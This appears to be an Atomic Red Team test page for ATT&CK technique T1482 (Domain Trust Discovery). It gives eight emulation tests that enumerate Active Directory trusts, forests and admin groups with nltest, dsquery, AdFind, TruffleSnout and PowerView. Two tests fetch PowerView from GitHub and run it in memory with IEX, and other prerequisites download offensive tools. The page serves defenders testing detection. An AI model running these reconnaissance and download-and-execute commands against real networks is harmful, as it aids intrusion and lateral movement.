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Atomic Red Team
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T1482

T1482 - Domain Trust Discovery

Description from ATT&CK (opens in a new tab)

Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection (opens in a new tab), Pass the Ticket (opens in a new tab), and Kerberoasting (opens in a new tab).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility Nltest (opens in a new tab) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)

Atomic Tests


Atomic Test #1 - Windows - Discover domain trusts with dsquery

Uses the dsquery command to discover domain trusts. Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.

Supported Platforms: Windows

auto_generated_guid: 4700a710-c821-4e17-a3ec-9e4c81d6845f

Attack Commands: Run with command_prompt!

dsquery * -filter "(objectClass=trustedDomain)" -attr *


Atomic Test #2 - Windows - Discover domain trusts with nltest

Uses the nltest command to discover domain trusts. Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role. This technique has been used by the Trickbot malware family.

Supported Platforms: Windows

auto_generated_guid: 2e22641d-0498-48d2-b9ff-c71e496ccdbe

Attack Commands: Run with command_prompt!

nltest /domain_trusts
nltest /trusted_domains

Dependencies: Run with command_prompt!

Description: nltest.exe from RSAT must be present on disk
Check Prereq Commands:
WHERE nltest.exe >NUL 2>&1
Get Prereq Commands:
echo Sorry RSAT must be installed manually


Atomic Test #3 - Powershell enumerate domains and forests

Use powershell to enumerate AD information. Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.

Supported Platforms: Windows

auto_generated_guid: c58fbc62-8a62-489e-8f2d-3565d7d96f30

Attack Commands: Run with powershell!

Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Dependencies: Run with powershell!

Description: PowerView PowerShell script must exist on disk
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Description: RSAT PowerShell AD admin cmdlets must be installed
Check Prereq Commands:
if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else { exit 1 }
Get Prereq Commands:
Write-Host "Sorry RSAT must be installed manually"


Atomic Test #4 - Adfind - Enumerate Active Directory OUs

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs reference- http://www.joeware.net/freetools/tools/adfind/ (opens in a new tab), https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec

Inputs:

NameDescriptionTypeDefault Value
optional_argsAllows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces.string

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=organizationalUnit) #{optional_args}

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"


Atomic Test #5 - Adfind - Enumerate Active Directory Trusts

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts reference- http://www.joeware.net/freetools/tools/adfind/ (opens in a new tab), https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 15fe436d-e771-4ff3-b655-2dca9ba52834

Inputs:

NameDescriptionTypeDefault Value
optional_argsAllows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces.string

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -gcb -sc trustdmp

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"


Atomic Test #6 - Get-DomainTrust with PowerView

Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: f974894c-5991-4b19-aaf5-7cc2fe298c5d

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose


Atomic Test #7 - Get-ForestTrust with PowerView

Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: 58ed10e8-0738-4651-8408-3a3e9a526279

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose


Atomic Test #8 - TruffleSnout - Listing AD Infrastructure

Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: ea1b4f2d-5b82-4006-b64f-f2845608a3bf

Inputs:

NameDescriptionTypeDefault Value
trufflesnout_pathPath to the TruffleSnout executablepathPathToAtomicsFolder\..\ExternalPayloads\TruffleSnout.exe
domainDomain name to search onstring%userdomain%

Attack Commands: Run with command_prompt!

"#{trufflesnout_path}" forest -n #{domain}
"#{trufflesnout_path}" domain -n #{domain}

Dependencies: Run with powershell!

Description: TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})
Check Prereq Commands:
if (Test-Path "#{trufflesnout_path}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -ItemType Directory (Split-Path "#{trufflesnout_path}") -Force | Out-Null
Invoke-WebRequest -Uri "https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe" -OutFile "#{trufflesnout_path}"

T1222.002T1484.001